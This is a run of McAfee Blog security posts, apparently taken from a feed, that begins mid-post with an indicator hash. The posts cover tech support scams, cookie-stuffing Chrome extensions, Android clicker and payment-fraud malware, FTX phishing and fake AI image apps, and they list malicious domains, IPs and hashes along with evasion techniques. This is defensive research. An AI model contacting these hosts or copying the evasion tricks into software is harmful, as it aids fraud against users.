• c75f99732d4e4a3ec8c19674e99d14722d8909c82830cd5ad399ce6695856666

Domains:

• http[://]hw.sdk.functionads.com:8100

The post New HiddenAds malware affects 1M+ users and hides on the Google Play Store appeared first on McAfee Blog.

Authored by Oliver Devane

Technical Support Scams have been targeting computer users for many years. Their goal is to make victims believe they have issues needing to be fixed, and then charge exorbitant fees, which unfortunately some victims pay. This blog post covers a number of example actions, that scammers will go through when they are performing their scams. Our goal is to educate consumers on the signs to look out for, and what to do if they believe they are being scammed.

Advertising – The Lure

For a tech support scammer to reach their victims, they need to first find them (or be found by them). One technique we see includes scammers creating Twitter or other social media accounts that post messages claiming to be from the official technical support site. For example, a Twitter account will post a tweet with the hashtags #McAfee and #McAfeeLogin to drive traffic to the tweet and make victims believe the links are legitimate and safe to click.

Scammers behind tech support scams can create very convincing websites which mimic the official ones.

Some fraudulent websites use the McAfee logo or other company logos to try trick individuals. They often invite clicking on a ‘LOGIN’ or ‘ACTIVATE’ link with a similar color scheme to official sites to appear legitimate.

These sites may then ask the victim to enter their real username, password, and phone number. Upon entering these details, websites will usually show an error message to make the victim believe there is an issue with their account.

 

The error message will usually contain a link that upon clicking will load a chat box where the scammers will initiate a conversation with the victim. At this point, the scammers will have the phone number and email address associated with the victim. They will use this to contact them and make them believe they are an official technical support employee.

Gaining Access

The scammer’s next objective is often to gain access to the victim’s computer. They do this so that they can trick the victim into believing there is an issue with their computer and that they need their support services to fix it.

The scammers will do this by either asking the victim to enter a URL that will result in the download of a remote access tool or by providing them with a link in the chat window if they are still speaking to them on the fake support website.

A remote access tool will enable the scammer to take complete control of the victim’s machine. With this, they will be able to remove or install software, access personal data such as documents and cryptocurrency wallets as well as dump passwords from the web browsers so they can then access all the victim’s accounts.

It is vital to not provide remote access to your computer to unknown and unverified individuals, as there could be a big risk to your personal data. Some examples of remote access tools that have legitimate uses but are often used to perpetrate fraud are:

• TeamViewer
• LogMeIn
• AnyDesk
• Aweray (Awesun)

Activity once the connection is established

If the scammers are given access to the victim’s machine, they will often make use of the command filename cmd.exe to perform some visual activity on the computer screen which is done to attempt to trick the individual into believing that some malicious activity is occurring on their computer or network. Most people will be unaware of the filename cmd.exe and the actions being used,and thus will be none the wiser to the scammer’s actions.

Here are some examples we have seen scammers use:

Title

Changing the title of cmd.exe to ‘network scanner’ or ‘file scanner’ to make the victim believe they are running a security tool on their machine.

Directory enumeration

Scammers will make use of standard functions within the cmd.exe file, to make their victims believe they are performing lots of activity. One of these functions is ‘dir’ which will  display  all the files for a specific directory. For example, if you have a folder called ‘school work’ and have 2 word documents in there, a ‘dir’ query of that folder will appear like this:

What the scammers will do is make use of ‘dir’ and the title function to make you believe they are scanning your machine. Here is an example of running ‘dir’ on the all the files on a machine with the cmd.exe title set to ‘File Scanner’:

Tree

A similar function to ‘dir’ called ‘tree’ may also be used. The ‘tree’ function will display directory paths and will generate lots of events on the screen:

Tech Support Phone Number

Some scammers will also add their phone number to the taskbar of the victim’s machine. They do this by creating a new folder with the phone number as the name and adding it as a toolbar. This is shown in the image below

Software Installation

Scammers may install other software on the victim’s machine or make them believe that they have installed additional software which they will then be charged for.

For example, some scammers may add programs to the desktop of victims which have no purpose, but the scammers insist they are legitimate security tools such as firewalls or network scanners.

Some example filenames are:

• Firewall security.exe
• Network firewall.exe
• Network security.exe
• Email security.exe
• Banking security.exe

Payment

The scammers will usually perform some activity on your machine before asking for payment. This is done to build confidence in their work and make you believe they have done some activity and therefore deserve some sort of payment. Do not be fooled by scammers who have not performed any useful activity.  As detailed in the previous sections, be careful not to fall victim to fake social media accounts or websites.

Signs to look out for

This section contains a few signs to look out for which may indicate that you are interacting with a scammer.

Rude/Short

Some scammers will become rude and very short with you if you start questioning what they are doing. They may say that you are not technical and do not understand what is occurring. This would not be the behavior of a legitimate technical support operative.

Leave the computer on

Scammers will encourage you to leave the machine and remote connection on even if you need to go out and leave it unattended. Do not under any circumstances do this as they would then be free to do any activity they wish on your machine and network.

Created files being detected

Some files added to your machine by the scammer may be detected by the AV security software. They may act like this is an error and the file is innocent. If you have initiated a remote connection and the controller creates a file on your machine which is detected by the security software, we recommend ceasing the interaction as detailed below.

What to do

The following steps should be performed if you believe you are being scammed as part of a tech support scam.

Disconnect the machine from the internet

If the machine is connected via a network cable, the easiest way is to unplug it. If the machine is connected via Wi-Fi, there may be a physical switch that can be used to disconnect it. If there is no physical switch, turn off Wi-Fi through the settings or the computer. It  can be powered down by pressing the power button.

Hang up

Hang up the phone (or end the chat) and do not answer any more calls from that number. The scammer will try to make you believe that the call is legitimate and ask you to reconnect the remote-control software.

Remove the remote-control software

If the scammer was controlling your machine, the remote-control software will need to be removed. If the computer was powered down, it can be powered back up, but if a popup is shown asking for permission to allow remote access, do not grant it.

The remote software can usually be removed by using the control panel and add/remove programs. To do this, press the Windows key and then perform a search for ‘remove’ and click on ‘Add or remove programs’.

Sort the programs by install date as shown below and then remove the remote software by clicking on the ‘Uninstall’ button.  Keep in mind that the software installed on your computer may appear by a different name, but if you look at what was installed on the same day as the scammer initiated the remote control session, you should be able to identify it.

Check the Antivirus Software for any exclusions

Some scammers may add exclusions for the files they create on your computer so that they are not detected by the security software. We recommend checking the exclusions and if any are present which were not added by yourself to remove them.

A guide for McAfee customers is available here

Update Antivirus Software and perform a full scan

After removing any software which was installed, we recommend updating your security software and performing a full scan. This will identify any malicious files created by the scammer such as password stealers and keyloggers.

Change passwords

After performing a full scan, we recommend changing all of your passwords as the scammer may have gathered your credentials while they had access to your computer. It is recommended to do this after performing a full scan as the scammers may have placed a password stealer on the computer and any new passwords you enter may also be stolen.

Conclusion

This blog post contains a number of examples that scammers may use to trick consumers into believing that they may have issues with their devices. If you are experiencing issues with your computer and want to speak to official McAfee support, please reach out via the official channel which is https://service.mcafee.com/.

The McAfee support pages can also be accessed directly via the McAfee Total Protection screen as shown below:

McAfee customers utilizing web protection (including McAfee Web Advisor) are protected from known malicious sites.

The post Technical Support Scams – What to look out for appeared first on McAfee Blog.

Authored by Oliver Devane and Vallabh Chole 

September 9, 2022 Update: Since the original publication of this blog on August 29, 2022, the Flipshope browser extension was updated in the Chrome Store on September 6, 2022 with a version that no longer contains the potentially harmful features originally discussed in this blog.

September 30, 2022 Update: Since the original publication of this blog on August 29, 2022, the AutoBuy browser extension was updated in the Chrome Store on September 17, 2022 with a version that no longer contains the potentially harmful features originally discussed in this blog.

 

A few months ago, we blogged about malicious extensions redirecting users to phishing sites and inserting affiliate IDs into cookies of eCommerce sites. Since that time, we have investigated several other malicious extensions and discovered 5 extensions with a total install base of over 1,400,000

The extensions offer various functions such as enabling users to watch Netflix shows together, website coupons, and taking screenshots of a website. The latter borrows several phrases from another popular extension called GoFullPage 

Apart from offering the intended functionality, the extensions also track the user’s browsing activity.  Every website visited is sent to servers owned by the extension creator. They do this so that they can insert code into eCommerce websites being visited. This action modifies the cookies on the site so that the extension authors receive affiliate payment for any items purchased.    

The users of the extensions are unaware of this functionality and the privacy risk of every site being visited being sent to the servers of the extension authors.  

The 5 extensions are  

Name	Extension ID	Users
Netflix Party	mmnbenehknklpbendgmgngeaignppnbe	800,000
Netflix Party 2	flijfnhifgdcbhglkneplegafminjnhn	300,000
FlipShope – Price Tracker Extension	adikhbfjdbjkhelbdnffogkobkekkkej	80,000
Full Page Screenshot Capture – Screenshotting	pojgkmkfincpdkdgjepkmdekcahmckjp	200,000
AutoBuy Flash Sales	gbnahglfafmhaehbdmjedfhdmimjcbed	20,000

 

Technical Analysis 

This section contains the technical analysis of the malicious chrome extension ‘mmnbenehknklpbendgmgngeaignppnbe’. All 5 extensions perform similar behavior.   

Manifest.json 

 

The manifest.json sets the background page as bg.html. This HTML file loads b0.js and this is responsible for sending the URL being visited and injecting code into the eCommerce sites. 

B0.js 

The b0.js script contains many functions. This blog will focus on the functions which are responsible for sending the visited URLs to the server and processing the response.  

Chrome extensions work by subscribing to events which they then use as triggers to perform a certain activity. The extensions analyzed subscribe to events coming from chrome.tabs.onUpdated. chrome.tabs.onUpdated will trigger when a user navigates to a new URL within a tab.

Once this event triggers, the extension will set a variable called curl with the URL of the tab by using the tab.url variable. It creates several other variables which are then sent to d.langhort.com. The POST data is in the following format:

Variable	Description
Ref	Base64 encoded referral URL
County	The county of the device
City	The city of the device
Zip	The zip code of the device
Apisend	A random ID generated for the user.
Name	Base64 encoded URL being visited
ext_name	The name of the chrome extensions

 

The random ID is created by selecting 8 random characters in a character set. The code is shown below: 

The country, city, and zip are gathered using ip-api.com. The code is shown below: 

Upon receiving the URL, langhort.com will check if it matches a list of websites that it has an affiliate ID for, and If it does, it will respond to the query. An example of this is shown below: 

The data returned is in JSON format. The response is checked using the function below and will invoke further functions depending on what the response contains. 

Two of the functions are detailed below: 

Result[‘c’] – passf_url 

If the result is ‘c’ such as the one in this blog, the extension will query the returned URL. It will then check the response and if the status is 200 or 404, it will check if the query responded with a URL. If it did, it would insert the URL that is received from the server as an Iframe on the website being visited.  

Result[‘e’] setCookie 

If the result is ‘e’, the extension would insert the result as a cookie. We were unable to find a response of ‘e’ during our analysis, but this would enable the authors to add any cookie to any website as the extensions had the correct ‘cookie’ permissions.  

Behavioral flow 

The images below show the step-by-step flow of events while navigating to the BestBuy website.  

1. The user navigates to bestbuy.com and the extension posts this URL in a Base64 format to d.langhort.com/chrome/TrackData/ 
2. Langhort.com responds with “c” and the URL. The “c” means the extension will invoke the function passf_url() 
3. passf_url() will perform a request against the URL 
4. the URL queried in step 3 is redirected using a 301 response to bestbuy.com with an affiliate ID associated with the Extension owners 
5. The extension will insert the URL as an Iframe in the bestbuy.com site being visited by the user 
6. Shows the Cookie being set for the Affiliate ID associated with the Extension owners. They will now receive a commission for any purchases made on bestbuy.com  

Here is a video of the events 

Time delay to avoid automated analysis 

We discovered an interesting trick in a few of the extensions that would prevent malicious activity from being identified in automated analysis environments. They contained a time check before they would perform any malicious activity. This was done by checking if the current date is > 15 days from the time of installation.  

Conclusion  

This blog highlights the risk of installing extensions, even those that have a large install base as they can still contain malicious code.  

McAfee advises its customers to be cautious when installing Chrome extensions and pay attention to the permissions that they are requesting.   

The permissions will be shown by Chrome before the installation of the extension. Customers should take extra steps to verify the authenticity if the extension is requesting permissions that enable it to run on every website you visit such as the one detailed in this blog  

McAfee customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee WebAdvisor as shown below.   

The Malicious code within the extension is detected as JTI/Suspect. Please perform a ‘Full’ scan via the product.  

Type	Value	Product	Detected
Chrome Extension	Netflix Party – mmnbenehknklpbendgmgngeaignppnbe	Total Protection and LiveSafe	JTI/Suspect
Chrome Extension	FlipShope – Price Tracker Extension – Version 3.0.7.0 – adikhbfjdbjkhelbdnffogkobkekkkej	Total Protection and LiveSafe	JTI/Suspect
Chrome Extension	Full Page Screenshot Capture  pojgkmkfincpdkdgjepkmdekcahmckjp	Total Protection and LiveSafe	JTI/Suspect
Chrome Extension	Netflix Party 2 – flijfnhifgdcbhglkneplegafminjnhn	Total Protection and LiveSafe	JTI/Suspect
Chrome Extension	AutoBuy Flash Sales  gbnahglfafmhaehbdmjedfhdmimjcbed	Total Protection and LiveSafe	JTI/Suspect
URL	www.netflixparty1.com	McAfee WebAdvisor	Blocked
URL	netflixpartyplus.com	McAfee WebAdvisor	Blocked
URL	goscreenshotting.com	McAfee WebAdvisor	Blocked
URL	langhort.com	McAfee WebAdvisor	Blocked
URL	Unscart.in	McAfee WebAdvisor	Blocked
URL	autobuyapp.com	McAfee WebAdvisor	Blocked

The post Malicious Cookie Stuffing Chrome Extensions with 1.4 Million Users appeared first on McAfee Blog.

Authored by SangRyol Ryu

Cybercriminals are always after illegal advertising revenue. As we have previously reported, we have seen many mobile malwares masquerading as a useful tool or utility, and automatically crawling ads in the background. Recently the McAfee Mobile Research Team has identified new Clicker malware that sneaked into Google Play. In total 16 applications that were previously on Google Play have been confirmed to have the malicious payload with an assumed 20 million installations.

McAfee security researchers notified Google and all of the identified apps are no longer available on Google Play. Users are also protected by Google Play Protect, which blocks these apps on Android. McAfee Mobile Security products detect this threat as Android/Clicker and protect you from malware. For more information, to get fully protected, visit McAfee Mobile Security.

How it works

The malicious code was found on useful utility applications like Flashlight (Torch), QR readers, Camara, Unit converters, and Task managers:

Once the application is opened, it downloads its remote configuration by executing an HTTP request. After the configuration is downloaded, it registers the FCM (Firebase Cloud Messaging) listener to receive push messages. At first glance, it seems like well-made android software. However, it is hiding ad fraud features behind, armed with remote configuration and FCM techniques.

Attribute name	Known meaning of the value
FCMDelay	Initial start hours after first installation
adButton	Visivility of a button of Advertisement
adMob	AdMob unit ID
adMobBanner	AdMob unit ID
casOn	Whether CAS library works or not
facebookAd	FaceBook Ad ID
fbAdRatio	Ratio of FB AD
googleAdRatio	Ratio of AdMob
is	Decide BootService to run or not
urlOpen	to open popup or not when starts PowerService
popUrl	URL for PowerService
popUpDelay	Delay time for PowerService
liveUrl	URL for livecheck service
pbeKey	Key for making unique string
playButtonList	URL for other service
reviewPopupDialog	‘y’ it shows review dialog
tickDelay	Delay time for TickService
tickEnable	Value of TickService enabled
tickRandomMax	Value of TickService random delay
tickRandomMin	Value of TickService random delay
tickType	Set the type of TickService
updateNotiVersion	Value for showing update activity

 

The FCM message has various types of information and that includes which function to call and its parameters. The picture below shows some of FCM message history:

When an FCM message receives and meets some condition, the latent function starts working. Mainly, it is visiting websites which are delivered by FCM message and browsing them successively in the background while mimicking user’s behavior. This may cause heavy network traffic and consume power without user awareness during the time it generates profit for the threat actor behind this malware. In the picture below there is an example of the network traffic generated to get the information required to generate fake clicks and the websites visited without user’s consent or interaction:

Malicious components: CAS and LivePosting

So far, we have identified two pieces of code related to this threat. One is “com.click.cas” library which focuses on the automated clicking functionality while “com.liveposting” library works as an agent and runs hidden adware services:

Depending on the version of the applications, some have both libraries working together while other applications only have “com.liveposting” library. The malware is using installation time, random delay and user presence to avoid the users from noticing these malicious acts. The malicious behavior won’t start if the installation time is within an hour and during the time the user is using the device, probably to stay under the radar and avoid being detected right away:

Conclusion

Clicker malware targets illicit advertising revenue and can disrupt the mobile advertising ecosystem. Malicious behavior is cleverly hidden from detection. Malicious actions such as retrieving crawl URL information via FCM messages start in the background after a certain period of time and are not visible to the user.

McAfee Mobile Security detects and removes malicious applications like this one that may run in the background without user’s knowledge. Also, we recommend having a security software installed and activated so you will be notified of any mobile threats present on your device in a timely manner. Once you remove this and other malicious applications, you can expect an extended battery time and you will notice reduced mobile data usage while ensuring that your sensitive and personal data is protected from this and other types of threats.

IoCs (Indicators of Compromise)

liveposting[.]net

sideup[.]co[.]kr

msideup[.]co[.]kr

post-blog[.]com

pangclick[.]com

modooalba[.]net

 

SHA256	Package name	Name	Downloaded
a84d51b9d7ae675c38e260b293498db071b1dfb08400b4f65ae51bcda94b253e	com.hantor.CozyCamera	High-Speed Camera	10,000,000+
00c0164d787db2ad6ff4eeebbc0752fcd773e7bf016ea74886da3eeceaefcf76	com.james.SmartTaskManager	Smart Task Manager	5,000,000+
b675404c7e835febe7c6c703b238fb23d67e9bd0df1af0d6d2ff5ddf35923fb3	kr.caramel.flash_plus	Flashlight+	1,000,000+
65794d45aa5c486029593a2d12580746582b47f0725f2f002f0f9c4fd1faf92c	com.smh.memocalendar	달력메모장	1,000,000+
82723816760f762b18179f3c500c70f210bbad712b0a6dfbfba8d0d77753db8d	com.joysoft.wordBook	K-Dictionary	1,000,000+
b252f742b8b7ba2fa7a7aa78206271747bcf046817a553e82bd999dc580beabb	com.kmshack.BusanBus	BusanBus	1,000,000+
a2447364d1338b73a6272ba8028e2524a8f54897ad5495521e4fab9c0fd4df6d	com.candlencom.candleprotest	Flashlight+	500,000+
a3f484c7aad0c49e50f52d24d3456298e01cd51595c693e0545a7c6c42e460a6	com.movinapp.quicknote	Quick Note	500,000+
a8a744c6aa9443bd5e00f81a504efad3b76841bbb33c40933c2d72423d5da19c	com.smartwho.SmartCurrencyConverter	Currency Converter	500,000+
809752e24aa08f74fce52368c05b082fe2198a291b4c765669b2266105a33c94	com.joysoft.barcode	Joycode	100,000+
262ad45c077902d603d88d3f6a44fced9905df501e529adc8f57a1358b454040	com.joysoft.ezdica	EzDica	100,000+
1caf0f6ca01dd36ba44c9e53879238cb46ebb525cb91f7e6c34275c4490b86d7	com.schedulezero.instapp	Instagram Profile Downloader	100,000+
78351c605cfd02e1e5066834755d5a57505ce69ca7d5a1995db5f7d5e47c9da1	com.meek.tingboard	Ez Notes	100,000+
4dd39479dd98124fd126d5abac9d0a751bd942b541b4df40cb70088c3f3d49f8	com.candlencom.flashlite	손전등	1,000+
309db11c2977988a1961f8a8dbfc892cf668d7a4c2b52d45d77862adbb1fd3eb	com.doubleline.calcul	계산기	100+
bf1d8ce2deda2e598ee808ded71c3b804704ab6262ab8e2f2e20e6c89c1b3143	com.dev.imagevault	Flashlight+	100+

 

The post New Malicious Clicker found in apps installed by 20M+ users appeared first on McAfee Blog.

Authored by: Christy Crimmins and Oliver Devane

Football (or Soccer as we call it in the U.S.) is the most popular sport in the world, with over 3.5 billion fans across the globe. On November 20th, the men’s World Cup kicks off (pun intended) in Qatar. This event, a tournament played by 32 national teams every four years, determines the sport’s world champion. It will also be one of the most-watched sporting events of at least the last four years (since the previous World Cup). 

An event with this level of popularity and interest also attracts fraudsters and cyber criminals looking to capitalize on fans’ excitement. Here’s how to spot these scams and stay penalty-free during this year’s tournament. 

New Cup, who’s this? 

Phishing is a tool that cybercriminals have used for years now. Most of us are familiar with the telltale signs—misspelled words, poor grammar, and a sender email whose email address makes no sense or whose phone number is unknown. But excitement and anticipation can cloud our judgment. What football fan wouldn’t be tempted to win a free trip to see their home team participate in the ultimate tournament? Cybercriminals are betting that this excitement will cloud fans’ judgment, leading them to click on nefarious links that ultimately download malware or steal personal information. 

It’s important to realize that these messages can come via a variety of channels, including email, text messages, (also known as smishing) and other messaging channels like WhatsApp and Telegram. No matter what the source is, it’s essential to remain vigilant and pause to think before clicking links or giving out personal or banking information.  

For more information on phishing and how to spot a phisher, see McAfee’s “What is Phishing?” blog. 

Real money for fake tickets 

According to ActionFraud, the UK’s national reporting center for fraud and cybercrime, thousands of people were victims of ticket fraud in 2019—and that’s just in the UK. Ticket fraud is when someone advertises tickets for sale, usually through a website or message board, collects the payment and then disappears, without the buyer ever receiving the ticket.  

 

The World Cup is a prime (and lucrative) target for this type of scam, with fans willing to pay thousands of dollars to see their teams compete. Chances are most people have their tickets firmly in hand (or digital wallet) by now, but if you’re planning to try a last-minute trip, beware of this scam and make sure that you’re using a legitimate, reputable ticket broker. To be perfectly safe, stick with well-known ticket brokers and those who offer consumer protection. Also beware of sites that don’t accept debit or credit cards and only accept payment in the form of bitcoin or wire transfers such as the one on the fake ticket site below:  

The red box on the right image shows that the ticket site accepts payment via Bitcoin.  

Other red flags to look out for are websites that ask you to contact them to make payment and the only contact information is via WhatsApp. 

Streaming the matches 

Let’s be realistic—most of us are going to have to settle for watching the World Cup from the comfort of our own home, or the pub down the street. If you’re watching the tournament online, be sure that you’re using a legitimate streaming service. A quick Google of “FIFA World Cup 2022 Official Streaming” along with your country should get you the information you need to safely watch the event through official channels. The FIFA site itself is also a good source of information.  

Illegal streaming sites usually contain deceptive ads and malware which can cause harm to your device.  

Don’t get taken to the bank 

In countries or regions where sports betting is legal, the 2022 World Cup is expected to drive an increase in activity. There’s no shortage of things to bet on, from a simple win/loss to the exact minute a goal will be scored by a particular player. Everything is subject to wager.   

As with our previous examples, this increase in legitimate gambling brings with it an increase in deceptive activity. Online betting scams often start when users are directed to or search for gambling site and end up on a fraudulent one. After placing their bets and winning, users realize that while they may have “won” money, they are unable to withdraw it and are even sometimes asked to deposit even more money to make winnings available, and even then, they still won’t be. By the end of this process, the bettor has lost all their initial money (and then some, potentially) as well as any personal information they shared on the site.  

Like other scams, users should be wary of sites that look hastily put together or are riddled with errors. Your best bet (yes, again, pun intended) is to look for an established online service that is approved by your government or region’s gaming commission. Finally, reading the fine print on incentives or bonuses is always a good idea. If something sounds too good to be true, it’s best to double-check. 

For more on how you can bet online safely, and for details on how legalized online betting works in the U.S., check out our blog on the topic.  

Keep that Connection Secure 

Using a free public Wi-Fi connection is risky. User data on these networks is unprotected, which makes it vulnerable to cyber criminals. Whether you’re traveling to Qatar for a match or watching the them with friends at your favorite pub, if you’re connecting to a public Wi-Fi connection, make sure you use a trusted VPN connection. 

Give scammers a straight red card this World Cup 

For more information on scams, visit our scam education page. Hopefully, with these tips, you’ll be able to enjoy and participate in some of the World Cup festivities, after all, fun is the goal!  

The post Don’t Get Caught Offsides with These World Cup Scams appeared first on McAfee Blog.

Following up on our previous blog, How to Stop the Popups, McAfee Labs saw a sharp decrease in the number of deceptive push notifications reported by McAfee consumers running Microsoft’s Edge browser on Windows.

Such browser-delivered push messages appear as toaster pop-ups in the tray above the system clock and are meant to trick users into taking various actions, such as installing software, purchasing a subscription, or providing personal information.

Upon further investigation, this major drop seems to be associated with a change in the behavior of the Edge browser with two notable improvements over older versions.

First, when users visit websites known to deliver deceptive push notifications, Edge blocks authorization prompts that could trick users into opting-in to receive popups:

Second, when unwanted popups do occur, it is now easier than ever to disable them, on a per-site basis.  Users can simply click the three dots (…) on the right of the notification and choose to “Turn off all notifications for” the domain responsible for the popup.

This is a great improvement over the previous experience of having to manually navigate browser settings to achieve the desired result.

Earlier this year, 9TO5Google reported a Chrome code change may be indicative of a similar crack down by Google on nefarious popups.

One can hope Google will follow Microsoft’s example to improve browser security and usability.

The post Microsoft’s Edge over Popups (and Google Chrome) appeared first on McAfee Blog.

Authored by Oliver Devane 

It hasn’t taken malicious actors long to take advantage of the recent bankruptcy filing of FTX,  McAfee has discovered several phishing sites targeting FTX users.  

One of the sites discovered was registered on the 15th of November and asks users to submit their crypto wallet phrase to receive a refund. After entering this phrase, the creators of the site would gain access to the victim’s crypto wallet and they would likely transfer all the funds out of it. 

Upon analyzing the website code used to create the phishing sites, we noticed that they were extremely similar to previous sites targeting WalletConnect customers, so it appears that they likely just modified a previous phishing kit to target FTX users.  

The image below shows a code comparison between a website from June 2022, and it shows that the FTX phishing site shares most of its code with it.  

McAfee urges anyone who was using FTX to be weary of any unsolicited emails or social media messages they receive and to double-check the authenticity before accessing them. If you are unsure of the signs to look for, please check out the McAfee Scam education portal (https://www.mcafee.com/consumer/en-us/landing-page/retention/scammer-education.html) 

McAfee customers are protected against the sites mentioned in this blog 

Type	Value	Product	Detected
URL	ftx-users-refund[.]com	McAfee WebAdvisor	Blocked
URL	ftx-refund[.]com	McAfee WebAdvisor	Blocked

 

The post Threat Actors Taking Advantage of FTX Bankruptcy  appeared first on McAfee Blog.

Authored by SangRyol Ryu and Yukihiro Okutomi 

McAfee’s Mobile Research team recently analyzed new malware targeting mobile payment users in Japan. The malware which was distributed on the Google Play store pretends to be a legitimate mobile security app, but it is in fact a payment fraud malware stealing passwords and abusing reverse proxy targeting the mobile payment services. McAfee researchers notified Google of the malicious apps, スマホ安心セキュリティ, or ‘Smartphone Anshin Security’, package name ‘com.z.cloud.px.app’ and ‘com.z.px.appx’. The applications are no longer available on Google Play. Google Play Protect has also taken steps to protect users by disabling the apps and providing a warning. McAfee Mobile Security products detect this threat as Android/ProxySpy.  

How do victims install this malware? 

The malware actor continues to publish malicious apps on the Google Play Store with various developer accounts. According to the information posted on Twitter by Yusuke Osumi, Security Researcher at Yahoo! Japan, the attacker sends SMS messages from overseas with a Google Play link to lure users to install the malware. To attract more users, the message entices users to update security software. 

A SMS message from France (from Twitter post by Yusuke)

Malware on Google Play 

The Mobile Research team also found that the malware actor uses Google Drive to distribute the malware. In contrast to installing an application after downloading an APK file, Google Drive allows users to install APK files without leaving any footprint and makes the installation process simpler. Once the user clicks the link, there are only a few more touches required to run the application. Only three clicks are enough if users have previously allowed the installation of unknown apps on Google Drive. 

Following notification from McAfee researchers, Google has removed known Google Drive files associated with the malware hashes listed in this blog post. 

 

What does this malware look like?

When a user installs and launches this malware, it asks for the Service password. Cleverly, the malware shows incorrect password messages to collect the more precise passwords. Of course, it does not matter whether the password is correct or not. It is a way of getting the Service password. The Service password is used for the payment service which provides easy online payments. The user can start this payment service by setting a Service password. The charge will be paid along with the mobile phone bill. 

How does this malware work?

There is a native library named ‘libmyapp.so’ loaded during the app execution written in Golang. The library, when loaded, tries to connect to the C2 server using a Web Socket. Web Application Messaging Protocol (WAMP) is used to communicate and process Remote Procedure Calls (RPC). When the connection is made, the malware sends out network information along with the phone number. Then, it registers the client’s procedure commands described in the table below. The web socket connection is kept alive and takes the corresponding action when the command is received from the server like an Agent. And the socket is used to send the Service password out to the attacker when the user enters the Service password on the activity. 

RPC Function name	Description
connect_to	Create reverse proxy and connect to remote server
disconnect	Disconnect the reverse proxy
get_status	Send the reverse proxy status
get_info	Send line number, connection type, operator, and so on
toggle_wifi	Set the Wi-Fi ON/OFF
show_battery_opt	Show dialog to exclude battery optimization for background work

Registered RPC functions description 

To make a fraudulent purchase by using leaked information, the attacker needs to use the user’s network. The RPC command ‘toggle_wifi’ can switch the connection state to Wi-Fi or cellular network, and ‘connect_to’ will provide a reverse proxy to the attacker. A reverse proxy can allow connecting the host behind a NAT (Network Address Translation) or a firewall. Via the proxy, the attacker can send purchase requests via the user’s network. 

Conclusion

It is an interesting point that the malware uses a reverse proxy to steal the user’s network and implement an Agent service with WAMP. McAfee Mobile Research Team will continue to find this kind of threat and protect our customers from mobile threats. It is recommended to be more careful when entering a password or confidential information into untrusted applications. 

IoCs (Indicators of Compromise) 

193[.]239[.]154[.]23
91[.]204[.]227[.]132
ruboq[.]com 

SHA256	Package Name	Distribution
5d29dd12faaafd40300752c584ee3c072d6fc9a7a98a357a145701aaa85950dd	com.z.cloud.px.app	Google Play
e133be729128ed6764471ee7d7c36f2ccb70edf789286cc3a834e689432fc9b0	com.z.cloud.px.app	Other
e7948392903e4c8762771f12e2d6693bf3e2e091a0fc88e91b177a58614fef02	com.z.px.appx	Google Play
3971309ce4a3cfb3cdbf8abde19d46586f6e4d5fc9f54c562428b0e0428325ad	com.z.cloud.px.app2	Other
2ec2fb9e20b99f60a30aaa630b393d8277949c34043ebe994dd0ffc7176904a4	com.jg.rc.papp	Google Drive
af0d2e5e2994a3edd87f6d0b9b9a85fb1c41d33edfd552fcc64b43c713cdd956	com.de.rc.seee	Google Drive

 

The post Fake Security App Found Abuses Japanese Payment System appeared first on McAfee Blog.

Authored by Fernando Ruiz

The popularity of AI-based mobile applications that can create artistic images based on pictures, such as the “Magic Avatars” from Lensa, and the OpenAI service DALL-E 2 that generates them from text, have increased the mainstream interest of these tools. Users should be aware of those seeking to take advantage to distribute Potential Unwanted Programs (PUPs) or malware, such as through deceptive applications that promise the same or similar advanced features but are just basic image editors or otherwise repackaged apps that can drain your data plan and battery life with Clicker and HiddenAds behaviors, subscribe you to expensive services that provide little or no value over alternatives  (Fleeceware), or even steal your social media account credentials (FaceStealer).

Dozens of apps surface daily claiming to offer AI image creation. Some of them might be legitimate or based on open-source projects such as Stable Diffusion, but in the search for a free application that produces quality results, users might try new apps that could compromise their privacy, user experience, wallet and/or security.

The McAfee Mobile Research Team recently discovered a series of repackaged image editors on the Google Play app store which presented concerning behaviors.  McAfee Mobile Security products help protect against such apps, including those classified as Android/FakeApp, Android/FaceStealer, Android/PUP.Repacked and Android/PUP.GenericAdware.

McAfee, a member of the App Defense Alliance focused on protecting users by preventing threats from reaching their devices and improving app quality across the ecosystem, reported the discovered apps to Google, which took prompt action and the apps are no longer available on Google Play.

We now discuss various types of privacy and/or security risks associated with the types of apps recently removed from the app store.

FaceStealer

“Pista – Cartoon Photo Effect” and “NewProfilePicture” are examples of apps that offered compelling visual results, however, each was based on the same image editor with basic filters and trojanized with Android/FaceStealer, which is a well-known malware capable of compromising a victim’s Facebook or Instagram account. The apps could capture user credentials during a Facebook login by embedding a javascript function loaded from a remote server (to evade detection) into a flutter webview activity that displays the Facebook login screen. 

“NewProfilePicture” and “Pista – Cartoon Photo Effect” are examples of FaceStealer malware that posed as a cartoon avatar creator.

The same image editor which was repackaged into the above two apps has also been repackaged alternatively with adware modules and distributed by other developers under other app names, such as “Cartoon Effect | Cartoon Photo”:  

 

Fleeceware

Fleeceware refers to mobile apps that use various tactics to enroll users into subscriptions with high fees, typically after a free trial period, and often with little or no value to the subscriber beyond cheaper or free alternatives. If the user does not take care to cancel their subscription, they continue to be charged even after deleting the app.

“Toonify Me”, which is no longer available on the Play Store, cost $49.99 per week after 3 days – almost $2,600 per year – for what featured AI-generated illustrations in the app description, but was another repackaged version of the same image editor functionality found within “NewProfilePicture” and “Pista – Cartoon Photo Effect”. 

In this case, the “Toonify Me” app did not allow feature access without enrolling in the subscription, and the “CONTINUE” button which initiated the subscription was the only option to tap in the app once it was launched.

Adware

Promoted by ads that described it as capable of transforming pictures into artistic drawings, the “Fun Coloring – Paint by Number” app is an example of a repackaged version of a different, legitimate pixel painting app.  It lacked the advertised AI effects and was plagued with adware-like behavior.  

Advertisement of “Fun Coloring – Paint by Number” on social media which included app store link 

Consistent with many reviews complaining about unexpected ads out of the context of the app, once installed, the app started a service that communicated in the background with Facebook Graph API every 5 seconds and might pull ads based on received commands after some time of execution. The app contained multiple injected SDK modules from AppsFlyer, Fyber, InMobi, IAB, Mintegral, PubNative and Smaato (none of which are in the original app, which was repackaged to include these), which would help monetize installations without regard for user experience. 

Conclusion

When new types of apps become popular and new ones appear on the market to offer similar features, users should act with caution to avoid becoming victim to those wanting to exploit public interest.

When installing an app that causes you doubt, make sure you:

• Read the pricing and other terms carefully
• Check those permissions requested are reasonable with the purpose of the app
• Look for consistently bad reviews describing unexpected or unwanted app behavior
• Verify if the developer has other apps available and their reviews
• Consider skipping the app download if you aren’t convinced of its safety

